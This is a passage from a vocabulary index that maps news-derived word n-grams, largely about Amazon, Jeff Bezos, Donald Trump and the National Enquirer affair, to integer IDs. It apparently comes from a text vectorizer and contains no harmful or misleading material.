"year expansion": 122083, "sales company": 122084, "deciding": 122085, "richard shelby": 122086, "service competes": 122087, "2014 apple": 122088, "concrete deal": 122089, "homeland": 122090, "post probably": 122091, "term strategy": 122092, "game 2018": 122093, "forecasting": 122094, "blood prince": 122095, "older including": 122096, "included copies": 122097, "burning lying": 122098, "w5 a7": 122099, "institute free": 122100, "showcasing": 122101, "government acquisitions": 122102, "crain new": 122103, "trump hispanic": 122104, "moscow collected": 122105, "years received": 122106, "finally took": 122107, "thestreet brian": 122108, "close won": 122109, "surgeries": 122110, "trump looking": 122111, "perpetrator": 122112, "crew make": 122113, "identities specific": 122114, "citizen amazon": 122115, "fairness fox": 122116, "trump continues": 122117, "total foreign": 122118, "special operations": 122119, "google probe": 122120, "sumpah pemuda": 122121, "just quit": 122122, "takes huge": 122123, "low standard": 122124, "people army": 122125, "spacex startup": 122126, "adolescent giggling": 122127, "blocking entry": 122128, "shorts break": 122129, "undocumented teenager": 122130, "shortsighted": 122131, "evict": 122132, "called prime": 122133, "whipple famously": 122134, "949": 122135, "0kdlplqo2e": 122136, "stores check": 122137, "taliban appoints": 122138, "accusations culminated": 122139, "distinct advanatage": 122140, "practices bezos": 122141, "immediate raise": 122142, "program energy": 122143, "operating standards": 122144, "retailers shares": 122145, "stock amazon": 122146, "richardson dan": 122147, "pleasant electronics": 122148, "totally unnecessary": 122149, "purchased product": 122150, "hall jeff": 122151, "q1 2010": 122152, "thermal sensing": 122153, "039": 122154, "2018 nicholas": 122155, "givers": 122156, "peace harmony": 122157, "t000181710": 122158, "dylan byers": 122159, "fluffing": 122160, "ryan cooper": 122161, "ironically alcoa": 122162, "favorite twitter": 122163, "injured simply": 122164, "rates china": 122165, "tabloid editor": 122166, "hairdo": 122167, "boomboom pow": 122168, "surprise inspection": 122169, "old nyt": 122170, "festival noir": 122171, "manner mid": 122172, "taxpayers": 122173, "japan newsletters": 122174, "amazon boosts": 122175, "doctor cape": 122176, "safety rep": 122177, "buyers yesterday": 122178, "shipping carriers": 122179, "popping figure": 122180, "literary professionals": 122181, "politicians nonetheless": 122182, "relentless coverage": 122183, "chito ro\u00f1o": 122184, "months china": 122185, "aut_title contributing": 122186, "elected federal": 122187, "trump policy": 122188, "trump mike": 122189, "years regulators": 122190, "proposes ultra": 122191, "drawing increasing": 122192, "remained skeptical": 122193, "condemned political": 122194, "house ambitions": 122195, "mightier": 122196, "pulled pork": 122197, "williams says": 122198, "mile woolsey": 122199, "package drones": 122200, "single donald": 122201, "article walgreens": 122202, "giant frankly": 122203, "sparked witch": 122204, "buying gucci": 122205, "carveouts": 122206, "muckerman yeah": 122207, "superficial": 122208, "promised support": 122209, "second television": 122210, "butuan": 122211, "female member": 122212, "ofwhether": 122213, "maneuvers decades": 122214, "regulatory reforms": 122215, "partisan times": 122216, "amazon exacerbates": 122217, "globally amazon": 122218, "stupid questions": 122219, "companies listed": 122220, "surrounding international": 122221, "competition president": 122222, "usps monopolies": 122223, "briefs disney": 122224, "mccain delivers": 122225, "witch hunt": 122226, "tascent": 122227, "closed lower": 122228, "cards european": 122229, "marks sanders": 122230, "sets minimum": 122231, "media watch": 122232, "amazons illegal": 122233, "city agencies": 122234, "sears magnolia": 122235, "post bearing": 122236, "big scoop": 122237, "owners potentially": 122238, "taking adverse": 122239, "hyperbolic": 122240, "country mail": 122241, "shouted": 122242, "deeply reported": 122243, "boost virginia": 122244, "circulated letter": 122245, "press bbc": 122246, "second home": 122247, "reportedly create": 122248, "message today": 122249, "marketplaces hosting": 122250, "valued viewpoint": 122251, "challenge broadcast": 122252, "contracts bezos": 122253, "trouble reporting": 122254, "city insurgency": 122255, "600 words": 122256, "advisor ivanka": 122257, "important financial": 122258, "worker backlashes": 122259, "nonexistent": 122260, "employ workers": 122261, "enemies sociopath": 122262, "thousand cuts": 122263, "west meeting": 122264, "using usps": 122265, "include peer": 122266, "firingillegal immigrants": 122267, "cake": 122268, "spruces": 122269, "bush surrounding": 122270, "worth growing": 122271, "shares saw": 122272, "paul brandus": 122273, "began negotiations": 122274, "summers": 122275, "suzy bannion": 122276, "alibaba website": 122277, "case earlier": 122278, "soccer team": 122279, "khalfani cox": 122280, "term outlook": 122281, "police precinct": 122282, "pals": 122283, "russia interfered": 122284, "letter detailed": 122285, "earth question": 122286, "leased": 122287, "lead fact": 122288, "1914 expanded": 122289, "prominently": 122290, "populous counties": 122291, "contract baby": 122292, "frontloaded": 122293, "began trending": 122294, "potential service": 122295, "gunjan": 122296, "celebrated graham": 122297, "record closing": 122298, "brands business": 122299, "presidents announced": 122300, "converge": 122301, "richard rahn": 122302, "violate antitrust": 122303, "campaign members": 122304, "amazon accelerating": 122305, "plan needs": 122306, "cosby says": 122307, "popular regulations": 122308, "medical clinics": 122309, "pollack bloomberg": 122310, "need food": 122311, "outlets serving": 122312, "lining": 122313, "punish amazon": 122314, "commercial highlights": 122315, "staking claims": 122316, "shelling": 122317, "trump wealth": 122318, "famous bellow": 122319, "candice bergen": 122320, "verlagingen vinden": 122321, "awards night": 122322, "press access": 122323, "catalano reported": 122324, "negrete 510": 122325, "profit doubles": 122326, "ap reports": 122327, "boricua": 122328, "billionaire rivalry": 122329, "takes hard": 122330, "intermediary": 122331, "trump trademarks": 122332, "etf recession": 122333, "wastes": 122334, "supporting fedex": 122335, "substantially reduce": 122336, "written permission": 122337, "thermometer": 122338, "fewer misses": 122339, "offer bid": 122340, "tl media": 122341, "keeley": 122342, "unions labor": 122343, "billion stake": 122344, "saksoff5th": 122345, "steal data": 122346, "563 shares": 122347, "frenemies": 122348, "depend company": 122349, "apps known": 122350, "usps finances": 122351, "aws representatives": 122352, "tips portfolio": 122353, "maya": 122354, "way farmers": 122355, "pogo ice": 122356, "politico wapo": 122357, "issues told": 122358, "taken care": 122359, "fedora says": 122360, "total direct": 122361, "kerr": 122362, "summit change": 122363, "budget mid": 122364, "trump favourite": 122365, "worst christmas": 122366, "lobbyist sally": 122367, "shorter": 122368, "nonetheless feel": 122369, "county teach": 122370, "cocreator": 122371, "bloomberg amazon": 122372, "commerce fee": 122373, "raoul": 122374, "stations forte": 122375, "\u0645\u0646\u0634\u0646\u062a\u0647\u0645": 122376, "somodevilla amazon": 122377, "site index": 122378, "community filled": 122379, "foto sourcereuters": 122380, "challenged allies": 122381, "voice unlocking": 122382, "ise chicago": 122383, "phishing": 122384, "strong stock": 122385, "marketforce": 122386, "101 allan": 122387, "help poor": 122388, "venturebeat": 122389, "suspecting": 122390, "candace": 122391, "sell vast": 122392, "investigation witch": 122393, "certify businesses": 122394, "increasingly difficult": 122395, "i9": 122396, "store hat": 122397, "migrants allowed": 122398, "earned better": 122399, "leaked sexts": 122400, "inside letters": 122401, "criticized tax": 122402, "bezos knew": 122403, "chrysler pacifica": 122404, "surgery team": 122405, "disaster division": 122406, "awakens": 122407, "h0 getownpropertydescriptor": 122408, "describes photos": 122409, "replying": 122410, "speech benioff": 122411, "post hundreds": 122412, "incendiary statements": 122413, "big nights": 122414, "using ties": 122415, "simple naming": 122416, "2018 otherearth": 122417, "street opens": 122418, "bootstrapper": 122419, "collapse appeared": 122420, "markupid videoloader": 122421, "merger stiffler": 122422, "empathy": 122423, "europe staged": 122424, "staying online": 122425, "prior written": 122426, "rapprochement": 122427, "presidential alerts": 122428, "bezos disclosed": 122429, "business past": 122430, "sanders rep": 122431, "topples wax": 122432, "exist trump": 122433, "right dan": 122434, "tracks missing": 122435, "fixer": 122436, "numbers actually": 122437, "greece look": 122438, "morning cable": 122439, "executive jonathan": 122440, "163 created": 122441, "time significantly": 122442, "trade foe": 122443, "direct opposite": 122444, "business position": 122445, "usually publicity": 122446, "pbs newshour": 122447, "socialist activist": 122448, "public transit": 122449, "government trump": 122450, "amazon supply": 122451, "trump fractional": 122452, "delivered deadly": 122453, "2013 received": 122454, "week host": 122455, "shippers data": 122456, "gives sanders": 122457, "fivestar hotel": 122458, "good ideas": 122459, "credits loopholes": 122460, "used picture": 122461, "stagnation": 122462, "width 120": 122463, "leeds environment": 122464, "happily clicking": 122465, "committee assignments": 122466, "charcuturie board": 122467, "database software": 122468, "violating antitrust": 122469, "joe biden": 122470, "bezos lending": 122471, "newyorkcity": 122472, "shares 946": 122473, "convey facts": 122474, "abolishing": 122475, "gradually": 122476, "uc5fyvorin maggie": 122477, "ago known": 122478, "minister tweeted": 122479, "bufe": 122480, "juncker": 122481, "policy lieutenants": 122482, "hemmer": 122483, "scruggs black": 122484, "head source": 122485, "wearing donald": 122486, "josh enomoto": 122487, "idly": 122488, "analyst issued": 122489, "rashida jones": 122490, "green groups": 122491, "arrested want": 122492, "ceo marillyn": 122493, "778 037": 122494, "darrel": 122495, "bear cubs": 122496, "privacy worry": 122497, "gov bob": 122498, "product placement": 122499, "providing prime": 122500, "acosta charging": 122501, "tensions": 122502, "catholic farm": 122503, "width 460": 122504, "interactive poll": 122505, "groups criticized": 122506, "successful referendum": 122507, "inc_hide_video_prerollflag false": 122508, "requirement": 122509, "geforce rtx": 122510, "namath": 122511, "really interesting": 122512, "act qualified": 122513, "effective uniter": 122514, "vet held": 122515, "view significantly": 122516, "dead body": 122517, "firm walker": 122518, "0408et": 122519, "rescued": 122520, "community strengthens": 122521, "million pieces": 122522, "fictional character": 122523, "tax haven": 122524, "icon jackie": 122525, "sanders pointed": 122526, "based ecommerce": 122527, "send large": 122528, "handling workplace": 122529, "rejected evidence": 122530, "additionally reporting": 122531, "swings": 122532, "patented drone": 122533, "bezos representatives": 122534, "biggest turkeys": 122535, "exited": 122536, "spots indebted": 122537, "natasha korecki": 122538, "bootnote eagle": 122539, "politics played": 122540, "insinuations": 122541, "strategy tailored": 122542, "options": 122543, "blasted": 122544, "tariff insurance": 122545, "seekingalpha": 122546, "spurs prosecutors": 122547, "qsb6xijujc cynthia": 122548, "really ideal": 122549, "probably pleased": 122550, "independent introduced": 122551, "including investigating": 122552, "latest dramatic": 122553, "seen shipping": 122554, "nantz": 122555, "gideon": 122556, "presumptive bid": 122557, "unprecedented times": 122558, "stepdaughter": 122559, "sanders aggressive": 122560, "investor david": 122561, "recently aimed": 122562, "firm raised": 122563, "cap just": 122564, "2016 just": 122565, "steps retail": 122566, "tariff hit": 122567, "recent amazon": 122568, "privacy labor": 122569, "legislative hegemony": 122570, "issues zinke": 122571, "howard stern": 122572, "licensing priority": 122573, "typically pays": 122574, "way customer": 122575, "instructional": 122576, "yesterday brazil": 122577, "francisco": 122578, "brussels amazon": 122579, "regulators moves": 122580, "woodward sixth": 122581, "5000 model": 122582, "novels": 122583, "simply couldn": 122584, "cools": 122585, "135 words": 122586, "local partners": 122587, "financially illiterate": 122588, "danhof stated": 122589, "2017 kevin": 122590, "barriers president": 122591, "defunct white": 122592, "dohastadium": 122593, "pratt steps": 122594, "\u0430in\u0430appearance": 122595, "uptake": 122596, "books especially": 122597, "directly work": 122598, "mode trump": 122599, "door meeting": 122600, "king wallow": 122601, "rendering": 122602, "shifts delivering": 122603, "hill trump": 122604, "downgraded": 122605, "unnecessarily harsh": 122606, "past books": 122607, "spice baby": 122608, "credit card": 122609, "outside government": 122610, "disable": 122611, "consumer gadgets": 122612, "yelp shares": 122613, "post products": 122614, "demands according": 122615, "began punching": 122616, "post damian": 122617, "henderson": 122618, "brooklyn genie": 122619, "public reaction": 122620, "longer deduct": 122621, "size amazon": 122622, "bonanza": 122623, "mackenzie north": 122624, "mattis did": 122625, "journalists posted": 122626, "grossly": 122627, "murphy_51492": 122628, "ally ceo": 122629, "department homeland": 122630, "recent decline": 122631, "agendas page": 122632, "saudi reporter": 122633, "297": 122634, "online tax": 122635, "significant contributions": 122636, "new overhaul": 122637, "technologies discussed": 122638, "million passages": 122639, "rozic block": 122640, "spigen": 122641, "kenosha": 122642, "sourcedaniel": 122643, "biggest increase": 122644, "remarkable 300": 122645, "tabloid expose": 122646, "trump transgender": 122647, "pop surivor": 122648, "cited weakening": 122649, "way marty": 122650, "membership offers": 122651, "looked starstruck": 122652, "000 signatures": 122653, "charity lawsuit": 122654, "casually": 122655, "second viewing": 122656, "agency": 122657, "collapsed leaving": 122658, "rebny eisenbach": 122659, "preclude": 122660, "wis": 122661, "races highlights": 122662, "obvious mistakes": 122663, "threats pile": 122664, "concrete actions": 122665, "broadcast licenses": 122666, "boiling": 122667, "balce": 122668, "amid partial": 122669, "discrimination include": 122670, "news meeting": 122671, "largest house": 122672, "hammer kavanaugh": 122673, "amazon committing": 122674, "best frozen": 122675, "don mock": 122676, "grant work": 122677, "deal includes": 122678, "romantic texts": 122679, "amazon touts": 122680, "verizon customers": 122681, "substantive progress": 122682, "considerably lower": 122683, "complaint": 122684, "curtis ellis": 122685, "slavica": 122686, "optimal solution": 122687, "happening fact": 122688, "public business": 122689, "1361932001 cancelsend": 122690, "apple mean": 122691, "trade channels": 122692, "crucial holiday": 122693, "isgur flores": 122694, "best commercial": 122695, "sales site": 122696, "prime": 122697, "seasonally stronger": 122698, "dominate virtually": 122699, "nbsp grateful": 122700, "bozo previously": 122701, "monopsony case": 122702, "eisen reporter": 122703, "large sums": 122704, "alben chief": 122705, "subsidizing wal": 122706, "limited holds": 122707, "broadband capacity": 122708, "ombudsperson": 122709, "yankee entertainment": 122710, "jazeera": 122711, "players treasury": 122712, "population survey": 122713, "future home": 122714, "executive jeffrey": 122715, "53bil rm217": 122716, "slide read": 122717, "complicated businesses": 122718, "stores note": 122719, "reached honors": 122720, "firsthand sources": 122721, "tabloid coverage": 122722, "settlement 2019": 122723, "expert comment": 122724, "bumps raising": 122725, "publisher began": 122726, "monumentally stupid": 122727, "chairman blamed": 122728, "compress": 122729, "reserved information": 122730, "yes bezos": 122731, "radically altered": 122732, "long careers": 122733, "tool called": 122734, "shoppers eligible": 122735, "town source": 122736, "naz wakes": 122737, "preferred social": 122738, "health aides": 122739, "quarter countered": 122740, "wing extremists": 122741, "mega corporations": 122742, "mccain donald": 122743, "quantitative evidence": 122744, "leather shoulder": 122745, "machines letting": 122746, "endemic means": 122747, "bakalar": 122748, "educated memoir": 122749, "africa according": 122750, "potentially subsidizing": 122751, "claire foy": 122752, "administration decision": 122753, "intense debate": 122754, "form honor": 122755, "discuss factors": 122756, "borger sam": 122757, "room": 122758, "family dynasty": 122759, "bestselling books": 122760, "enquirer driven": 122761, "weak": 122762, "oracle stepped": 122763, "glued": 122764, "post warned": 122765, "affiliate relationships": 122766, "process carell": 122767, "specifics": 122768, "patent holders": 122769, "truckloads": 122770, "scs according": 122771, "process toronto": 122772, "parliament rejected": 122773, "antennas": 122774, "cairn terriers": 122775, "title role": 122776, "records covering": 122777, "39th": 122778, "records alongside": 122779, "trump logic": 122780, "downright counterproductive": 122781, "america jingoism": 122782, "representatives demanding": 122783, "brink breaking": 122784, "star wars": 122785, "hard news": 122786, "company reach": 122787, "digitizing offline": 122788, "safe haven": 122789, "amazon sellers": 122790, "blunders": 122791, "additional fee": 122792, "street concerns": 122793, "trophies": 122794, "qualitatively different": 122795, "ibm filed": 122796, "new plan": 122797, "contracts comparing": 122798, "ring captures": 122799, "efficient ticket": 122800, "pipelines": 122801, "dnllnupeff zoya": 122802, "concepts": 122803, "caption amr": 122804, "radio pushback": 122805, "essential streaming": 122806, "estate high": 122807, "regulatory legal": 122808, "christianbook": 122809, "yucel": 122810, "dies": 122811, "gags": 122812, "including digital": 122813, "parallels": 122814, "flexible": 122815, "telemundo": 122816, "reassuring words": 122817, "threw away": 122818, "couldn divide": 122819, "advisor jared": 122820, "analysts miffed": 122821, "presidential run": 122822, "inc_feature_image_background_color_override": 122823, "larry web": 122824, "starring roles": 122825, "commitments defended": 122826, "endicia solutions": 122827, "suddenly tone": 122828, "156": 122829, "acronym shin": 122830, "44bil cloud": 122831, "engadget": 122832, "notably absent": 122833, "miles separating": 122834, "playboy model": 122835, "blame putin": 122836, "archway publishing": 122837, "prove successful": 122838, "daughter including": 122839, "joined prime": 122840, "east german": 122841, "worldview financial": 122842, "ttrolling": 122843, "premium grocery": 122844, "trumpish": 122845, "media power": 122846, "unilaterally change": 122847, "graziano": 122848, "used baby": 122849, "proper look": 122850, "ownership affects": 122851, "state geekwire": 122852, "collector": 122853, "driving growth": 122854, "botham jean": 122855, "roof": 122856, "company incoming": 122857, "posting notes": 122858, "bezos vowed": 122859, "steep pullback": 122860, "inequality problem": 122861, "report enquirer": 122862, "trump wife": 122863, "contribute certainly": 122864, "lighting face": 122865, "really seen": 122866, "abandon hope": 122867, "large fund": 122868, "affairs took": 122869, "cuomo comments": 122870, "salazar": 122871, "pushed confirmation": 122872, "syracuse university": 122873, "ilsr study": 122874, "states read": 122875, "computing business": 122876, "pentagon silicon": 122877, "stranger contributor": 122878, "extinct": 122879, "maker dumps": 122880, "benjamin paige": 122881, "site home": 122882, "handing": 122883, "bipartisan house": 122884, "amazon forms": 122885, "policies experts": 122886, "patents partnerships": 122887, "operations jpmorgan": 122888, "snow": 122889, "annual income": 122890, "shipping channels": 122891, "evidence takes": 122892, "meant job": 122893, "economy given": 122894, "ago sucharita": 122895, "member constantinides": 122896, "shared goal": 122897, "goldenberg sent": 122898, "pale batshit": 122899, "mirror reported": 122900, "pic": 122901, "president emmanuel": 122902, "puts": 122903, "reason written": 122904, "smallest": 122905, "chief making": 122906, "claims big": 122907, "wouldn exist": 122908, "competitive market": 122909, "arms dealer": 122910, "micron": 122911, "debut": 122912, "fisher distinguished": 122913, "post date": 122914, "national anti": 122915, "virginia reports": 122916, "regulated area": 122917, "defining gender": 122918, "sanders reiterated": 122919, "insurance institute": 122920, "jair": 122921, "gawe83rdm9 spectrum": 122922, "mcdonald corp": 122923, "having sexual": 122924, "ago established": 122925, "pot stock": 122926, "nfl game": 122927, "italian": 122928, "polarising": 122929, "particularly troubling": 122930, "affair happened": 122931, "sector dropped": 122932, "possibly leaving": 122933, "great deal": 122934, "music instead": 122935, "months read": 122936, "inquirer seriously": 122937, "merely airing": 122938, "skirts": 122939, "brennan john": 122940, "kuwait began": 122941, "bowled": 122942, "interests post": 122943, "broadly": 122944, "twitter focus": 122945, "reason unemployment": 122946, "hua": 122947, "federal safety": 122948, "airlines ceo": 122949, "hour series": 122950, "morning brief": 122951, "tech live": 122952, "party separate": 122953, "brainard": 122954, "baffling george": 122955, "entrants entering": 122956, "400 people": 122957, "early 1960s": 122958, "espana": 122959, "angrily incessantly": 122960, "seth noted": 122961, "rudy": 122962, "warns israelis": 122963, "frequently used": 122964, "guggenheims minerd": 122965, "tragedy occurred": 122966, "scathing": 122967, "terraclear read": 122968, "powerful surveillance": 122969, "brooklyn sen": 122970, "000 brands": 122971, "best fiction": 122972, "2558225 acquired": 122973, "resourced neighborhoods": 122974, "personal lobbying": 122975, "reassured johnson": 122976, "expanding firm": 122977, "threatens resettlement": 122978, "communicated": 122979, "aik technology": 122980, "city shut": 122981, "trump imposed": 122982, "discharge": 122983, "protected cher": 122984, "author brian": 122985, "men creator": 122986, "sharpener": 122987, "printed firearm": 122988, "includes prime": 122989, "huge leap": 122990, "louis wound": 122991, "sourcehsn": 122992, "cr sinema": 122993, "yen oil": 122994, "report nails": 122995, "emanuel adds": 122996, "leniency": 122997, "exists previously": 122998, "announces david": 122999, "sponsored emergency": 123000, "turks jeff": 123001, "jolts": 123002, "bestsellling novelty": 123003, "acutely": 123004, "story juuls": 123005, "considerinvoking": 123006, "efe attorney": 123007, "john felton": 123008, "trumptrivia": 123009, "power politico": 123010, "france reports": 123011, "carriers curious": 123012, "edge strategies": 123013, "necessary mnuchin": 123014, "mom pammie": 123015, "virginia just": 123016, "labs arivale": 123017, "seed round": 123018, "citing concerns": 123019, "reach private": 123020, "enquirer political": 123021, "edelman lauren": 123022, "runs stories": 123023, "products coming": 123024, "york originally": 123025, "indefinite": 123026, "stocks did": 123027, "spurred bezos": 123028, "screen interactive": 123029, "gauntlet": 123030, "new extreme": 123031, "monetary policy": 123032, "time think": 123033, "care product": 123034, "value laurie": 123035, "years making": 123036, "retailer relies": 123037, "personal peccadilloes": 123038, "signage": 123039, "inside tesla": 123040, "bauer": 123041, "snl thinks": 123042, "reliable news": 123043, "barcodes": 123044, "trump crowd": 123045, "biggest jeff": 123046, "deduction bloomberg": 123047, "capital grants": 123048, "crash houston": 123049, "trump jumps": 123050, "submit_a_letter": 123051, "portfolio svcs": 123052, "140": 123053, "party tricks": 123054, "hillel": 123055, "pipe bombs": 123056, "day17 pictures": 123057, "nope lest": 123058, "leong owns": 123059, "games trump": 123060, "tourist": 123061, "investigate frankly": 123062, "universal free": 123063, "big exception": 123064, "plenty laura": 123065, "contractual": 123066, "dissonance jeffrey": 123067, "dilip kumar": 123068, "agency charges": 123069, "justice special": 123070, "headquarters starting": 123071, "football star": 123072, "phishing volume": 123073, "craig covey": 123074, "vehicle amazon": 123075, "sanchez big": 123076, "honduras": 123077, "headquarters attracted": 123078, "launched barrage": 123079, "biography jeff": 123080, "baseball cap": 123081, "strip club": 123082, "moffat": 123083, "scola": 123084, "colorado man": 123085, "sandy devastating": 123086, "resurface": 123087, "launched govpredict": 123088, "prices earning": 123089, "tops 100": 123090, "betweenalexandria": 123091, "president prosecutor": 123092, "carry amazon": 123093, "hour weeks": 123094, "face tax": 123095, "events zinke": 123096, "tax rebate": 123097, "buys online": 123098, "mishandled discrimination": 123099, "smart push": 123100, "public anger": 123101, "potential valuation": 123102, "muckerman happy": 123103, "testaments": 123104, "visit datax": 123105, "yield climbed": 123106, "hardline stance": 123107, "remarked charlie": 123108, "saudi activist": 123109, "briefly salesforce": 123110, "newsprint": 123111, "major media": 123112, "night critics": 123113, "suit steve": 123114, "newswi author": 123115, "house office": 123116, "uk businesses": 123117, "enquirer source": 123118, "forearm": 123119, "film crew": 123120, "televisions": 123121, "challenges trump": 123122, "mart foto": 123123, "phaidon press": 123124, "contained incongruencies": 123125, "law spokeswoman": 123126, "essentially feeding": 123127, "eastern restaurants": 123128, "trump obsession": 123129, "sellers working": 123130, "break nic": 123131, "jaime herrera": 123132, "plays short": 123133, "wine market": 123134, "mogul trump": 123135, "focus switches": 123136, "says president": 123137, "broadbandbreakfast reached": 123138, "midsummer": 123139, "story feds": 123140, "ate jeff": 123141, "selfish political": 123142, "later carell": 123143, "legal president": 123144, "height 516": 123145, "people based": 123146, "chinese intelligence": 123147, "pirates": 123148, "authoritarian regime": 123149, "second temple": 123150, "mistaking butterfly": 123151, "grapes": 123152, "wall democrats": 123153, "15gb": 123154, "amazon freetime": 123155, "ebitd": 123156, "hornets": 123157, "twist jeff": 123158, "tweeted walmart": 123159, "think apple": 123160, "labour organization": 123161, "politically corrupt": 123162, "previous night": 123163, "campus carbondale": 123164, "pretzel logic": 123165, "output": 123166, "censorship news": 123167, "stuff shipped": 123168, "storied": 123169, "stopped carrying": 123170, "airlines operation": 123171, "invalidation": 123172, "amazon stories": 123173, "presently seeing": 123174, "wave far": 123175, "facebooks stock": 123176, "invited criticism": 123177, "queens good": 123178, "ben eisen": 123179, "quite fittingly": 123180, "dalykyle": 123181, "entire defense": 123182, "single biggest": 123183, "eissenstat": 123184, "philips hue": 123185, "comcast": 123186, "president neel": 123187, "channels unless": 123188, "billion damage": 123189, "advance amazon": 123190, "sells nearly": 123191, "reports parcel": 123192, "store development": 123193, "containercontents": 123194, "balfour figure": 123195, "quiet recovered": 123196, "grech": 123197, "political satirist": 123198, "amazon analysts": 123199, "emails asking": 123200, "regulatory actions": 123201, "operating package": 123202, "studio": 123203, "gigantic missed": 123204, "exclusive access": 123205, "weighs replacing": 123206, "tech sectors": 123207, "led federal": 123208, "amazon discounted": 123209, "competition google": 123210, "tech employees": 123211, "boon": 123212, "major open": 123213, "professional ambitions": 123214, "movie theater": 123215, "hd sfly": 123216, "constant target": 123217, "remained uneven": 123218, "lincoln led": 123219, "television trump": 123220, "psychological": 123221, "sister relationship": 123222, "company adrenaline": 123223, "big bucks": 123224, "voters electing": 123225, "sums": 123226, "establishes": 123227, "address": 123228, "public available": 123229, "appeasing millions": 123230, "did double": 123231, "obscenely rude": 123232, "suggests potential": 123233, "swedish": 123234, "spew trump": 123235, "agency hasn": 123236, "shares matrix": 123237, "movements campaigning": 123238, "crash tennessee": 123239, "club does": 123240, "righteously posing": 123241, "summit accomplish": 123242, "stroke": 123243, "productivity targets": 123244, "routinely distorting": 123245, "benjamin franklin": 123246, "labor expense": 123247, "anticipated debuts": 123248, "anemic": 123249, "people erodes": 123250, "entire oilpatch": 123251, "administrator andrew": 123252, "political attacks": 123253, "strength amazon": 123254, "giving favorable": 123255, "schedule trump": 123256, "saw massive": 123257, "trump broadside": 123258, "dad facebook": 123259, "width 1100": 123260, "wife lynne": 123261, "mood hostile": 123262, "causing food": 123263, "reporter brian": 123264, "committee asked": 123265, "fils aim\u00e9": 123266, "slashed high": 123267, "nice rally": 123268, "met een": 123269, "slow revenues": 123270, "release publicly": 123271, "mycolleague": 123272, "simply stocks": 123273, "trump line": 123274, "thirty years": 123275, "recent spectrum": 123276, "shutterstock donald": 123277, "generates subsidize": 123278, "state cramer": 123279, "rout": 123280, "bulk users": 123281, "launch": 123282, "date commenting": 123283, "new generations": 123284, "competition according": 123285, "holistic north": 123286, "staver pecker": 123287, "apr general": 123288, "indicts suspended": 123289, "improvement products": 123290, "berman told": 123291, "cities competing": 123292, "enquirer exposure": 123293, "asking marketers": 123294, "claim newsom": 123295, "companies koch": 123296, "toledo": 123297, "network nbc": 123298, "held 916": 123299, "link amazon": 123300, "science correspondent": 123301, "liberal global": 123302, "true follow": 123303, "technology empire": 123304, "kushner companies": 123305, "pricing": 123306, "jedi keeping": 123307, "block dc": 123308, "old ruling": 123309, "coronation": 123310, "flamethrower": 123311, "facebook read": 123312, "trump shipping": 123313, "rages": 123314, "ceo isn": 123315, "michael continued": 123316, "times potentially": 123317, "graying white": 123318, "sees patents": 123319, "common sight": 123320, "citigroup investment": 123321, "801": 123322, "books written": 123323, "ami stated": 123324, "young adults": 123325, "search": 123326, "tax probe": 123327, "guys jessica": 123328, "burundian asylum": 123329, "key recommendations": 123330, "way target": 123331, "tweeter": 123332, "began ticking": 123333, "street pegged": 123334, "expect low": 123335, "trump landed": 123336, "people die": 123337, "just 327": 123338, "president derides": 123339, "frozen foods": 123340, "listed shares": 123341, "strategic trademark": 123342, "alleges politically": 123343, "creator dylan": 123344, "purchasing habits": 123345, "worried": 123346, "seized facebook": 123347, "left holding": 123348, "megalith amazon": 123349, "giant stated": 123350, "papers actually": 123351, "bills 2019": 123352, "online space": 123353, "civil aviation": 123354, "acquisitions market": 123355, "customer metric": 123356, "cool products": 123357, "theirs ending": 123358, "stone michael": 123359, "strip parent": 123360, "competitive toyota": 123361, "note 327": 123362, "money": 123363, "trump paid": 123364, "andrea miller": 123365, "psychological thriller": 123366, "baby driver": 123367, "left vilified": 123368, "tech talented": 123369, "services raised": 123370, "atlantic slave": 123371, "commerce retailers": 123372, "legislators need": 123373, "incapacitated": 123374, "funds reuters": 123375, "distribution chain": 123376, "public testimony": 123377, "various reasons": 123378, "global concerns": 123379, "otto frank": 123380, "sales geographically": 123381, "obama contraception": 123382, "hits stands": 123383, "prices picked": 123384, "diffusing": 123385, "fomc": 123386, "web companies": 123387, "report issued": 123388, "research key": 123389, "vigorously reinvests": 123390, "getting sold": 123391, "mars sean": 123392, "publish gloated": 123393, "pretty impressive": 123394, "known new": 123395, "cratchit hear": 123396, "basic banking": 123397, "joint announcement": 123398, "particular problem": 123399, "putting trump": 123400, "wants billion": 123401, "pilot programs": 123402, "movie rachel": 123403, "face snags": 123404, "road guide": 123405, "quarterly loss": 123406, "amazon loyalty": 123407, "expecting small": 123408, "ami launches": 123409, "monopoly yeah": 123410, "woefully inadequate": 123411, "nfl patriots": 123412, "hike wages": 123413, "ami reports": 123414, "repeat sears": 123415, "stores increase": 123416, "international business": 123417, "added conservatives": 123418, "normally clear": 123419, "valentine": 123420, "felt spacey": 123421, "writes barry": 123422, "delineates": 123423, "movies coming": 123424, "jones campusreform": 123425, "recuse": 123426, "knives": 123427, "liver delicacy": 123428, "lines fast": 123429, "government advocates": 123430, "bolduan thank": 123431, "fraudulent goods": 123432, "terry": 123433, "named stormy": 123434, "automakers feeling": 123435, "broadsides including": 123436, "crasher": 123437, "challenge week": 123438, "amazon bright": 123439, "shale": 123440, "justin tang": 123441, "company levi": 123442, "esquire": 123443, "revisionist superhero": 123444, "2017 report": 123445, "unmatched new": 123446, "mobile shoppers": 123447, "flow developing": 123448, "better story": 123449, "guest writer": 123450, "worst decisions": 123451, "records administration": 123452, "problems potus": 123453, "world fastest": 123454, "party class": 123455, "progressive subset": 123456, "ratings drop": 123457, "trailer amazon": 123458, "girlfriend glory": 123459, "couldn recall": 123460, "did celsius": 123461, "preference gerrymandering": 123462, "insider tens": 123463, "isnot": 123464, "amazon workers": 123465, "anticipate shoppers": 123466, "thousand depots": 123467, "siu president": 123468, "claude": 123469, "operating realities": 123470, "mastered ninja": 123471, "infringing": 123472, "model requires": 123473, "accused national": 123474, "mini smart": 123475, "play fast": 123476, "visited toronto": 123477, "photo isac": 123478, "kimmel joked": 123479, "legally entitled": 123480, "holdtheir": 123481, "u9e": 123482, "higher worker": 123483, "magician sypha": 123484, "shipping services": 123485, "amazon instant": 123486, "cbs content": 123487, "continuing efforts": 123488, "men shouted": 123489, "midterm political": 123490, "cuomo aide": 123491, "sided political": 123492, "just wanted": 123493, "severinovsky": 123494, "brennan told": 123495, "jumpshot research": 123496, "abiding piper": 123497, "gutsy girl": 123498, "trump guided": 123499, "coordinated help": 123500, "lurks": 123501, "market dow": 123502, "noam scheiber": 123503, "oppressive conditions": 123504, "trump global": 123505, "sitting socially": 123506, "proposed deal": 123507, "new workers": 123508, "told brennan": 123509, "melancholia": 123510, "news earlier": 123511, "incentivize bundling": 123512, "jeff amazon": 123513, "added bonus": 123514, "burn 